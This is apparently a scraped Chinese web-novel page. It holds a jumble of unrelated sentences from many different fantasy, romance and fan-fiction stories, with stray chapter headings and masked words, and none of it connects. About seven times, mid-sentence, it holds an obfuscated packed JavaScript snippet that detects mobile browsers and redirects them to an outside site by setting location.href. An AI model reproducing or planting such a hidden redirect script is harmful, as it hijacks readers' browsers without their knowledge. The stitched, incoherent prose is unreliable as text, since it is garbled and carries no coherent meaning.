苏雪晴一双清亮的眸子异彩连连,看着秦怀道俊朗不凡的面容,更是脸红心跳。 胡八壹真的是欲哭无泪,他想到了自己的好兄弟王胖子和画眉,再看看脸上带点麻子的燕子。 那是一个‘人’,应该说是一张丝毫没有腐烂的人皮,穿着衣服,身上还有不少挂件,诡异的是它没有脸,只有一个空洞。 范霍恩是个好人,即便自己被扣得摇摇欲坠,但他还是主动伸手抱住了坠落的苏万。苏万感受到这份善意,落地后拍拍他的手臂。 好像两片细长的菊花瓣,透着秀气,又给她的脸上添了几分柔媚,很是诱人。 解语臣气的脸都有点红,自打见到张优开始,他的情绪就有点不太稳定了。 苏瑾月见状满脸欢喜,目光灼灼的看向沈彧,十分期待沈彧的提问。 “那依房相的意思,这事该如何处置呢?”李二故作不解的问道。 曲老太的立场一明确下来,在商场上,那些站曲家之方的人,就更加明目张胆的针对温家的生意了。 可当她真正收敛了笑意,沉下脸来来,用那双黑沉沉的眼睛凝视回来的时候,李枭竟然觉得自己莫名有些胆寒了。 吴冕只觉某种本能反应烙印在肌肉中,有关于箭术的技巧纷纷烙印在肌肉中,甚至不需要思考,自然而然就能使用出来,就好似经历数千记的练习,形成肌肉记忆一般。 第一卷 第168章 死在祁让手里倒也干净 祁让也变了脸色。 伴着**落地,光头男口吐白沫,倒在地上打滚,发出杀猪般的惨叫声。 梁熙这个时候已经变成了配角,可是他毫不在意,依然矜持的笑着,看着苻洛熟练的和官员们打成一片,熟练的开始收买人心,架空自己。 看着那几乎比衍生个子还要大的弓,段平和绛玉面面相觑,他要干什么? 景川挑了挑眉毛,目光在墨容绝四周扫视一圈,怎么他身旁的那些焚星殿高级人物都不见了? 在妖兽离开以后,这些半兽人和凶兽们因为失去了妖兽的保护,之前被妖兽驱赶的人类带着满腔愤怒开始朝它们复仇,所以直到今天,人类和这些半兽人都是水火不容的敌对。 富家子弟受过正规的战斗训练,打起架来的程序就是不一样,别人的一击冰锥突刺未果,必然还是带着后招进行一段猛攻,打得缠斗之际再想方设法找出对手的漏洞来。 红白相间的宽沿布帽周围,是串串红绿玉珠。玉珠的反光闪烁在花寒的玉颊上,衬得她寒冰般清冷的面容,顾盼间更加艳光灼眼。 客厅里一片狼藉。三木脸上淡淡的笑,山口一夫铁着脸,刘其山怒容满面。 刘松注视着宗涛,心里非常佩服。宗涛能把家事与大事分清,实为将才。 接着叶燕青再次加大拳头上的力道,将还在和自己相持的李一谷一拳打飞,接着双腿发力,跟上被打飞的李一谷,伸手一抓,将李一谷的脚踝握住。 鸣人抓了抓脑袋,忽然感觉自己是不是真的有点**,老是问这些弱智的问题,看来有必要好好的学习一下常识知识了。 倒不是说她嫌弃郑俊浩,而是这内丹实在太过腥臭,且戾气很重,先前郑俊浩将其含在嘴中之时,脑袋便被戾气冲得昏昏沉沉的,此刻一吐了出来,就连他自己都不敢放入嘴中了,更何况吕亚西? “**吧。”李牧暴喝一声,左手瞬间变大,一把抓住噬心鬼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461354|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰部,将她直接提了起来。 大厦之中的人们各自忙碌着,事实上,他们之中有很多人都不知道自己在做什么,他们只知道,要想在这里活下去,就必须服从上面派发的命令,然后根据安排去做应该做的事。 阎云站起身来,安顿着沈梦媛不要出门,自己带着哈哈和老大就慢慢的向外面走去。 时间一晃就到了傍晚,狄冲霄算算时间差不多了,打开门离去,又扭回头,正色吩咐淘气包们不许乱跑。 千罪长老哪敢对上罪祖也要无可奈何的人世绝才,扭头就向残剑山城冲去。罪徒们八方四散。 米寒烟、碧玉心与百花姐妹都对狄冲霄有着莫名的庞大信心,认定他必然无事,便伴在一起欣赏那一片片闪现惊雷的风暴雨云,这种天象很常见,顶多一两天就会雨收云散。 接下来,**玄再次放出神识,又熬过了那切割神识的一剑,随即,一篇名叫“七星剑阵”的法决就出现在了他的脑海之中。 第一卷 第169章 他现在是不是很想杀了她 黑擎笑着,从背上取下漆黑色的**,接着将其两截连接起来,手臂一舞元气震动。 在距离战场,数百丈的地方,一棵巨数之上,两道人影伺机而动。犹如毒蛇一般,扫动着自己的敌人。 就在她仍然在思考时,整个江州的目光,忽然望向那道身影,在玄雷劈下的那一刻,他不但没用用任何术法,反而直接腾空而起,迎了上去。 “这点辰少可以放心,经过我们的反复观察。在付出了极大的代价后,终于清楚的知道那个地方最强的只是三级中期的魔兽。陈虎肯定的道。 两者相撞,元气相互侵蚀之间,两人身体倒飞而出,在地面之上荼出数十丈的距离。 奎托斯渡过漫漫环宇,穿越断界火云,没想到居然来到了若尘所归属的神国。 叶三郎点了点头,他倒是挺满意对方的这种心理和态度,对他将来的计划十分有利。 顾熙年,这一次算你侥幸!如果不是因为边关战事正在紧要关头,少不了你这个户部侍郎筹措粮草,父皇绝不可能这么轻易的放过你。 顾惜玉虽然一脸不解,却乖乖听话闭上了嘴。叶清宁却很明白了叶清兰心意,微微挑了挑眉。 刘露看着玉鼎之中分散开来的药粉,继续使用火焰温养片刻。然后体内元气暴涌而出,玉鼎之中火焰顿时翻腾而起。炙热的温度,竟是令的玉鼎上方的空气都是发生扭曲。 “你这条坏蛇,再让你尝尝我‘雨丝针’的厉害。 中村元二一听这话,眼中不禁闪过一丝惊恐。因为这个点子是他提出来的。此刻见萧峰问道这个问题,中村元二自然是满脸惊恐。 然而,就在众人失神的一瞬间,萧峰四人几乎在同时,一记腿鞭狠狠地抽在了对面扑来的北山家族的上忍身上。 姜预皱眉,猜想这个幻境说不定是过去某个时间点的事情再次演绎,也就是真实的事情的展开。 走在路上,傅羲知道了亚昆这次出来是又救了一批被兽狱俘虏的半蜥人,而恰好这批半蜥人好像是要被兽狱送去某个地方驯服猛兽的。 再次来到了天羽星,这里的把守比以前要严格太多,却是阻拦不了方逸,还是让方逸轻易地进入到 了天羽星。 元帅相的头顶原本空无一物,如今却出现一朵白色焰火,是真火灵珠炸裂之后留下的真火,蚕豆大的焰火轻轻跳动,将整个元气之海照得一片亮堂。 越想,她就越生气,越不爽,于是,便有一双芊芊玉手悄悄的爬上了叶晨的腰间,然后她那玉掌便用仙力加持,紧跟着一个一百八十度的…顿时,后者的嘴角突然间抽搐起来。 “不得阻拦。”老宫主大袖一挥,一股极度恐怖的法力爆发,将独孤芸直接带飞到了身边。 顾绍霆走后不久,童菲就过来了。她穿着最新款的秋装,踩着高跟鞋,风姿卓越。 原来,那只哈约克居然没有攻击到牙牙,直接撞在了牙牙面前的地面上,把自己给撞晕了过去。 沈长青的前身,就是镇魔司中的一个见习除魔使,也是除魔使中最低级的那种。 他这是来试戏的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461355|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?要是不知道,他们还以为这是制片人来视察呢。 而在这个学年刚一开始的时候,赫奇帕奇与斯莱特林的那场决斗,赫奇帕奇的获胜也极大的鼓舞了赫奇帕奇的学院士气,同时,身为赫奇帕奇新任级长的格林,也在学院内部获得了学生的认可。 江科略显得意,同样是嘿嘿一笑,此时的他压根就不像是一个刚刚被甩还被带了绿帽子穷屌丝。 赤红看着一根根激射而来的**,大吼一声,面带不屑,随后双爪燃起熊熊火焰,一步一步的向前走着。 “我在家休息就行了。”顾绍霆说完,就翻了一下身,侧身背对着她。 而正当万太富走到门口,打算打开房门时,一只强而有力的大手忽然穿过门板,狠狠掐住了万太富的脖子。 “哼,简直以卵击石。”这个时候,鲁志行嘴里叼着一根雪茄,也是出现了。 楚逸几乎是一瞬间就从椅子上跳了起来,双眼瞪得滚圆,不敢置信的开口。 但是,现在忍者能从事职业的机会基本上没有了,想要让家族的人数传承下去。 “由不得你!你愿意也得愿意,不愿意也得愿意!要么自愿,要么我们给你下药,你看着办吧!你要知道,老子可是一个炼丹师,炼制一些无色无味的药,而且效果非常好的药,那可是非常非常轻松的事儿。”爷爷笑了起来。 将他送回我的混沌珠之后,我换了一身衣服,然后沿着河岸疾驰了起来。 顾杰第一时间朝着白凤扑了过去,龙虎山的绝学打的虎虎生风,所到之处气劲四射。 第一卷 第170章 跟朕说实话,是不是你干的? 在锦城做实验的时候,宋琴宋坚洛烨霖都在她身边,比较完整地看完了全程。 她的意思是,拿来爆炒不是不行,但起码得有分量,让弟子们都能尝一尝。 唐南欲对于兔子被抢一事儿是很不开心的,但张仵作的话已经明晃晃的放在了台面上说,他只能撅起嘴一双眼睛眨巴眨巴的,撒娇卖萌装可怜是他一贯以来对付二叔的法子,很是管用。 按照原本的计划,王淼淼是应该过会儿在让翼龙来报仇,可是她忍不住了!她想到了曼迪尔说道,免费都不要,就气的不行! 隔着很远的距离,似乎已经看到了天龙宫,陆尘一马当先,朝着前方疾射而去。 想到这里,就算是早就脱离了险境,可安绾还是忍不住颤抖了一下身体。 在洛萱严厉地说完话后,安李氏她们好像是被吓到了,竟然就这么一直呆立在原地。 叶湘伦现在的举动,就想地球上翻唱某些歌手的歌曲一般,是个吃力不讨好的工作。 显然,他也听说了刘龙**的消息,但他却不会主动提出来,毕竟有人曾亲眼看到,刘龙进入了凌风客栈中。 那白色结界应该四阶魔法,“光之壁界。”那样的话,说明地方应该也是达到了三十五级以上的强者。 不过从开始到现在,她从未好奇过自家少爷到底是从那里得到这种神奇的东西的,这本身就不是她会去关心的问题。 邱嬷嬷凝眉想了想摆手道:“我去吧。”话落,就笑着朝那边走了过去。 花玉砂以为她会发作,会勃然大怒,会坚决不同意,会说要去求皇上收回成命。 “那你呢,你现在能好好安心干活吗?”聂风华靠到他身上,媚眼如丝。 “不管了。”关舰过了会儿拿出手机拨电话。我的心一沉,他给甄娴回拨过去吗? 宁涛将炼化的三百缕本源之力,化成一只眼,勘破仙界万物,甚至能看透人心,当然,只能是仙界的人心。 公司成立以后,崔一平的确是花费了大量的心血,他老婆洪秀秀之前也提到过股份的事情,但是被他喝止了,现在杨波提出来,倒也少了麻烦。 “我不知让你活当这铺子,我可以给你找个活儿干,按时发你工钱。”聂风华又加了一句。 “既然男人抓不住,就抓物质好了。三金倒,给钱给 钱!”情场失意,赌场必须得意,否则这人生太没劲了。我得瑟地伸手向他们要钱,脸上笑容灿烂异常。 他和李采薇虽然不能见面,但平时倒也有通过电话联系。本来呢,除了自个儿的爹妈,顾北最怕让这丫头知道自己受伤的事情。哪里知道李政那张大嘴巴给他泄了密,所以最近和李采薇的电话联系比较勤。 即便由于叶超凝决期修为的缘故,无法发挥出冰凌枪的全部威能,但在杀招尽出的情况下,应该也能刺穿元罡修士的护体真气吧? 而沐秋看到一片迷雾的地方,是设了禁制的,共有三层禁制,等沐秋的修为达到元婴期便可解开第一层禁制,那里面有一座灵兽山,到时便可抓一些灵兽签订契约,让灵兽为自己所用。 “所以说,按照你的道理来说,李家的人敢动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461356|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的家人,我夏元就不敢了?”夏元瞧着二郎腿反问道。 江东羽能想到的便是杀了那圣城之人,但寻常仙王根本插不了手,而在巴蜀,唯一能让慕诗蓝忌惮的便是飘渺仙宫的逍遥四仙,若他们联手,或许可以。 不待江东羽回答,尘土散去,凌风帝国的三人身形狼狈的出现,在孙元庆的身上笼罩着一个大龟虚影。 看到了那三个熊猫眼,林静姝登时了然,这是搬救兵去了,开始的时候有些慌乱,但紧接着就不怕了,因为他看到李艳阳正饶有兴致的欣赏着呢。 银色的外观,上面镶嵌着玫红色的晶石。晶石中心还有一颗飞凤形状的黑色晶石。戒指的周身被一层细细的淡绿色的晶石所环绕,看起来既优雅大方,又古朴沉重。 徐三输死死的盯着江东羽,这次他要仔细的看,如果找不出江东羽出千的证据,那么徐三输最多也只是和江东羽打平罢了,这不是他想要的。 测试结果表明测试结果表明测试结果表明测试结果表明测试结果表明测试结果表明测试结果表明。 看着林晨离去的背影,凌雅静芳心微微有些凌乱,俏脸也是异常红晕。 而当奥伯龙将能融化钢铁的手,狠狠地按在他的只穿着一层皮甲的肩头上时。 但转念一想:反正这洞里光线暗,他应该看不到什么。加上本来心里对司徒剑南充满感激,所以对于偷窥自己的行为就没有过多的反感,便任由司徒剑南打量着自己身上的春光。 当然了,也有的人不需要凝神丹的,但是这毕竟是少数人,大多数的人还是需要这东西的。 第一卷 第171章 把江美人打入冷宫 祁让进了东配殿,正要往内室去,被贤妃追上来拦住:“产房污秽,皇上请稍等,臣妾让人把冯贵人抬出来。” “不必了,朕不忌讳这些。”祁让拂开她就往里走。 人生何处不装逼……在正式落座前,像其他名人一样,携手在海报前亮相,摆几个姿势。乔安娜要求从简,就是挽着安峰手臂站了一下,相机咔嚓,还未来得及捕捉更多她的惊艳,便已经离开。 而恰在此时,云若轩也注意到她,唇角一弯,投以一记温柔如水煦日和风的目光。 “哼!升至妃位,岂会如此容易!”华氏话语中对青霜日后升妃的比喻,让皇后极为不满,在自家姐姐面前,皇后自然不必掩饰情绪,声调随之一冷,重重的哼声暗喝道。 “近藤大人,砰砰。近藤大人,砰砰。”津野平吉在近藤吉纲的府邸外一边敲门一边急切的呼喊近藤吉纲,他实在是担心晚了松上义光就被放走了。 “臣妾告退。”青霜不再逗留,对安妃深深一施,返身向寝殿外走去。 青霜闻言暗喜,盛夏之季,此时正值午时,自然有些发热,心儿并不懂得医理,又岂会分辨是否痊愈。 她步履缓慢的朝着那人走了过去。那人听到她的脚步声。习惯性的张开了双手。可是在栖蝶心中却在极力的挣扎。那人等了半天也不见栖蝶动手。开口道:“怎么了。”声音悦耳。沒有任何不满。 求票什么的,在老逆眼中,是一种降低逼格的事情,所以断然不会去做。 笼城,是战国时代武将守城尤其是守城一方兵力较少时的最佳选择。 这些孤魂野鬼,竟然不对付我们,可能是没时间吧,也或许是,它们有更重要的事做,所以没时间对付我们。 殷玖玥见李高竟然又想拿手指指着自己,心道这是还没长记性呢,立刻朝李高投去了一道冰冷的视线。 亨利苦涩的笑了笑,这句话他并不认同,因为控制“狩猎”的实质是秦天。 经过这一百日火气的锤炼,他的天魔神体也是隐约间间有几分提高的趋势。 他听到有人喊他,他转过身,看到陈楠在他身后不远处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461357|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他停下了脚步,等她走过来。 嬴诺看着跟块牛皮糖似的少年,颇有些哭笑不得,只得转身把他带出来,又合上了墙壁,这会儿,洛卿已经满身湿淋淋了。 他感受着身周灵力的变化,他右手握拳,向前一击,他听到了衣料摩擦的声音,他迅速后退,双手交叉,一个黑色的人影向他飞来。 “不,唔——”趁着蜀葵说话的空当,玖苏瞬间将一把的莲子塞入蜀葵的口中,而后望着她扭曲的五官,猜测这味道不会太好。 林昱感觉到一股暖流从印堂位置蔓延开来,流淌在他的四肢百骸中。 天邪法师听完了萧戎的责问,便心一横,承认自己是个没真本事的只会装神弄鬼的骗子也比承担这件事的责任要好。 苏依心中一凛,打起精神运转仙力顺发数个不同属性的术法反击。 夏菱宜一步步逼近,肖世贤被她的气势压倒,步步后退,直到夏菱宜停下了脚步。 西决瞪大眼睛看着老大的表演,老阴阳人有木有?前半段有多温柔,最后四个字就有多平淡。 第一卷 第172章 祈福归来就会将她斩首 冷宫真的很冷,除了冷,还有满院子被积雪掩盖的枯草落叶,满屋子的灰尘和蜘蛛网。 “功劳那就大了,四头鬼魅都是被师兄我击杀的,这个你们无法否认了吧,而且我辅助华师姐灭杀了两名筑基后期的鬼刹门修士,难道你们也有么,当时你们还在为那头鬼魅劳神费力呢!”龟宝直接便讲道。 绝育大神隐藏在杨毅身边,对于杨毅的一些生活习惯,甚至是说话方式已经熟悉的不能在熟悉了,俗话说近朱者赤,近墨者黑,绝育大神没多长时间说话方式就跟杨毅差不多了,自成老子也说的很顺口。 “道友说笑了,老仙替那么多人算命,让他们趋吉避凶,当然要收些回报了。”鬼半仙又笑了笑,回答道。 “我建议你们找桑德尔,他手上有不少青年球员,可能有机会。”凯飒淡然说道,自家人的生意,肯定要自己人操作,咱还能心安理得赚钱。 戚涣海也走了过来,瞧了瞧迷雾山谷通道,露出一脸的冷笑,讲道:“这个条通道两边都是峭壁,植被繁茂,看似非常险峻,却并非如此。 然后进入灌木丛里,就看到躺在地上的廿烰和地中海,两人是身负重伤,处于昏迷中。让二毛拖上两人和邱莉雅特,迅速的转移,离开这片是非之地。 话虽这么说,但他还是蹲下来给她擦了擦手。他送给她的那枚红宝石戒指正戴在她右手的中指上,闪闪发光。 萨拉内心戏很足,“我就喜欢凯飒射进我的球门,怎么样?你能阻挡吗?”凯飒到来,她准备跟凯飒来个不设防的射门比赛,欢迎攻门。 然后他很机警,凯飒不会跟夏奇拉有一腿吧?我去追求夏奇拉,会不会戴上一顶绿色的原谅之帽?但他看凯飒的样子,似乎有点意外,安心不少。 “哎哎,你也别说风凉话了,我来找你就是想看看,你有什么办法,这种临时更改重大战略的话,很多孩子估计都会不高兴吧。”马老头说道,这让林轩迷之感动,能在乎孩子想法的老师已经不多了。 看着浑身古怪的朱雀和白虎,青龙并未深究。“既然玄武不在,那么你们把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461358|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们所知道的都跟我说吧。”青龙率先走着。白虎和朱雀紧跟在他后边。一五一十的将那天的事情和玄武告知他们的青龙都告诉了青龙。 “那太好了,多久举办婚礼?一个星期后?还是一个月以后。“我笑呵呵的问着。 北冥烨皱着眉头,装出一副可怜兮兮的模样,他说:“母后,你就知道欺负我!刚才要不是我帮忙,你哪里能够摆脱父皇!”说完,还翘起嘴角,一副骄傲的模样。 用膳时邬先生说起被她提起的那个故事,先生问她是怎么知道这样的故事,她的回答听着就像偈语一般。脸上却是不正经的表情。 这还是他第一次看到这样无助的凤筱雪,她那么的渴望他肯定的回答,就像是落入水中不会游泳的人,看到了最后的一根浮木。 即使父亲和外公再不欢迎他,也不会做的这么明显,当面给皇子没脸,可如今,她瞄了一眼宣王,宣王黑着脸,眼中都有了火光,**似的望着慕容宸。而且父亲脸色也不好看,难道慕容宸做了令父亲和外公恼火的事情? 第一卷 第173章 用这样的方式让她醒悟 那一瞬间,似有漫天繁辰落于他眼眸间,于他的眼角边笑纹如雪淡抹散开,顷刻间,便似倾倒了整片星辰大海,又漫漫陀陀飞入了蔚蓝色的瞳孔中央,惊起了莺莺燕燕无数,怀念了多少被千古吹拂过的美好韶光。 轩芷歌微微一挑眉,眼间带上了几分笑意,十分满意地点点头,放下了手。 我不好意思的朝他笑了笑,不知道是不是因为张涵的缘故我对这个孩子很有好感,就像东子我俩第一次见面时一样。 可是不归顺的话,自己的内力根本没有办法阻止剧毒的入侵,他现在已经全身发麻了,恐怕不用十分钟,他就要**。 六月的风有些微微的暖,拂在了轩芷歌的乌发间,吹乱了她的心情。 等她离开了院子,言昭才抬起头,看向她离去的方向,那张一如既往让人觉得如沐春风的温和脸庞上,露出一丝不符合他风格的玩味浅笑。 可是,看着用异样眼神盯着自己,让自己一阵反胃的宁有惟,顾清欢心中又涌起不好的预感。 他相信,在这种地方,哪怕是劫变期修士,也休想将神识扫出去。 他知道陆家与王家的关系,如果王家进入华夏市场,对陆家是百利而无一害。 她含笑迎着日光,不深不浅,不淡不浓地盯着一瞬间被炸开了的百里殇,微微低头,一礼。 曾今,他在无忧仙府时,无忧仙子的幻影看着他,也曾说过这样一句话,一样的语气,一样的话语。 这时,场内观众也议论纷纷,因为梁浩之前会武的时候,白玉心脉的持续时间很短,所以并没有被人太关注,这时候在一起比较,才引起轰动。 “那我回去了!就在这时,林成月看他们聊得那么投契,想着也没她什么事情了。 可恨的是,这猴子也不知道怎的,肚量那般大,每次去神仙的府上,人家都得拿出海量的东西来招待他。 他答应的,他承诺的,他所要挣脱的,要在这段时间好好的准备,少则五十年,多则一百年,他必定要重返永恒。 突然,有一条浩浩仙路,如一条白色的长龙,从远方的蓝天中,延伸而来。 而我的眼前,则是十二名男子,其中包括了刚刚叫醒自己的男生,面目微笑的看着自己。 赵晴晴的妈妈坐在那里,反倒是有些拘谨不好意思,不敢随便开口 插话。 柳毅盘坐在竹床之上,心里却在回忆半个月前的一战,虽然那个时候自己的灵力已经空虚了,但是现在的柳毅早已不是当初可比,那个黑袍男子却那般将他压制,不得不承认,二十年来,对方更加的可怕了。 不过,因为这里距离地下城的门口比较远,如果要影闪回去的话应该得花不少时间才对。 我也害怕他不想理我,我怀了他的孩子,也不知道该怎么办?叶离微微闭了闭眼,她的心已经够苦够酸了,眼泪也马上就能掉出来,她也不知道该怎么办。 “我没求你来,”叶离已经要哭出来了,身子从内而外不自觉的簌簌的抖着,一波一波的痛排山倒海,让她几乎支撑不住。 何夕面子薄,又横不下心瞎比骗,更不好意思去找平日里有较大还贷压力的拮据朋友借,借了一圈,用还贷、付房租等各种理由,找相熟的朋友一共借到了两万。 **?!怎么你们俩又回去了?你们难道不是应该开始对话,然后给我开门的吗?? 威压被震开,发出一声声轰隆巨响,震的山洞剧烈发颤,隆隆做响,碎石不断的崩落,整个山洞开始剧烈的晃动起来,石壁四周出现一道道纵横交错的裂痕。 清心观是峨眉山最大的道观了,原本是山门主持、掌教议事之地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461359|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝心闭关后,此处全部交由她的师妹绝情师太负责。 “司官根本就没有钥匙,所以,我砍下了他的人头。”布鲁斯道。 “她一定就在这些视频里,我们只是,不知道她在哪里?”连城虎气的直拍桌子。 董芳卓和加克佩也已经替补登场,在球场上虎视眈眈,等待着比赛哨声的响起。 几轮过后,火神蛾直接使用了一道火之舞,赤红的火焰旋转着将种子**全烧了个干净,火之舞继续余威不减的烧向萌芽鹿。 绿荫镇多草系精灵,家家户户都有养,而草系精灵并不讨厌夏季的降雨,有的甚至因为这两天或于炎热,直接跑到雨幕里去沐浴这突如其来的凉爽。 在炎兽转身之时,两人脚尖在树轻点,身形彻底爆发,从两个方向直奔火焱王果而去。 周围戒备森严,更有一些极其古怪的灵气环绕,显然,到了这里,纵然荒人们更信任自己的力量,但他们也已经不再是以单纯的人力来防御了。 有二十五本不入流的武功秘籍,以及一本堪堪入了品的秘籍,完善了初级修炼体系之外,还建立了对应的初级武技体系。 但就算是这样,他也知道,能成为一宗之主,强大的已不仅仅只是实力而已,就如那傲明坤,四十年前便开始布局,心思深沉,哪怕堂堂一国之君,却也被他**于鼓掌之中。 黄逸之连忙登上城墙,虽然天未大亮,但隐约可以瞧见西门城外喊杀声此起彼伏,声势大的骇人,实在是看不出贼寇到底埋伏了多少人马。 大地一阵晃动,泰坦巨猿还在地上扭了一下屁股,然后抬起一看,嘎嘎大笑,京灵直接就被压成了一张画。 看到黑暗未知图腾被封印,梦幻非常的愤怒,为了脱困,它花了几百年的时间去侵蚀未知图腾,并把它们收为己用,没想到这么轻易就被封印了。 第一卷 第174章 没有他的允许,她怎么敢**? 那嗜月自然不会让他失望,眼前这一有机会,他就直接把这个理由主动给波旬推送了过去。 而炼器一脉却是大有不同,他们主要是采集天地精石寒铁等各种矿脉,而后利用地火阳池的高温淬炼褪去本身杂质,最后将其融合成一柄柄锋利无比的强悍兵器,主要是用来辅助修士护身征战的。 发动机在带动着车身发出最后一阵挣扎的抖动之后,终于熄火了。 “我倒是会洗,但我洗的肯定没你洗的干净。武云谄媚地笑着说道。 “你什么都不知道,你去又有什么用?刘一龙对于种放不能劝阻柴宗训冒险,还是有着几分怨气。 也没有出声通知赵匡胤,二人直接闯进也账中,赵匡胤才睁开朦胧的睡眼,有人进自己营账,他亦是警觉无比。见赵匡胤醒得如此之外,石守信和王审琦也是颇为意外,不待赵匡胤反应过来,直接将黄袍披在了赵匡胤的身上。 “这是斯普林特的魂石。云杰拿出那颗属于斯普林特的魂石,菲利普那颗魂石,他交给了阿牧歌,并帮助阿牧歌成功融魂。阿牧歌现在已经是十阶魔兽了。 一楼的厕所需要等候,路凡去到二楼的洗手间,二楼上面主要是供客人休息的客房还有化妆室,因为没什么人知道这里有厕所,所以人很少十分安静。 原因十分的简单,因为娜美族给了他生存的权利,给了他高于人族的身份。 “而伤亡最惨重的当属……当属……赵匡胤偷偷的看了柴荣一眼,几乎失去了继续说下去的勇气。“到底多少? 楚风轻轻转身,看着地上的蛾摩拉,忽然身形一动,落入大坑之中,一把扯住蛾摩拉的尾巴。 诸葛铭珏和诸葛扉宇脸上露出激动之情,诸葛君豪竟然莫名其妙的成了炎黄学院的人,虽然不知道炎黄学院到底是什么样的存在,但这次绝对是平步青云的机会。 “你让我叫你叔?马红俊瞪大了眼睛,傻傻的看着奥斯卡,久久没有说话。 欧聿夜本意是直接走,反正他的船就停在港口,如果贺兰辰不放行,那就有理由直接开火。 寻灵水晶球早已经感受到了玄武之灵的气息,并与之产生了共鸣,江源也早就想跳下去,掌控玄武之灵。 这次带兵 的是熊德威将军,打过不少胜仗,是位将才。但他残暴无仁,刚愎自用,总有一天会栽跟头。 先是召唤出了一只章鱼哥,然后利用黑魔术把自己的身体融合进了章鱼哥的体内,接着就默默地潜伏起来,准备找到合适的计划,再去搞个偷袭什么的。 火焰膨胀高升,沾染上42号植物根茎,噼里啪啦,烧了一大片,随着一道草木清香,42号植物李楠蜷缩根基,躲避楚风的加强版火焰侵袭。 江俏耳和珍姨在后面晃晃悠悠的走,然而等到她们走到车前的时候,颜徽又黑着脸下来替江俏耳拉开车门,看着她安全上了车,才开始慢慢往前面开。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461360|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这是数百年来最好的机会了,就算让她死也行,何况只是脱裤子。 “还有别的事吗?”屋中一时静了下来,只听到邵师爷吸水烟袋咕噜咕噜的声音。过了好一会邵师爷才出声道。 关离脑子闪过医师薛旭说的一句话:“睡得很香。”嘴角就微微弯起了一个弧度,心里好笑地想着,她提了一个想法后,自己倒能毫无心事地睡熟。 金芒划破黑暗,从黑暗之中冲了出来,但带给人的却不是光明,而是……毁灭。被这金芒击中的后果,只有死。 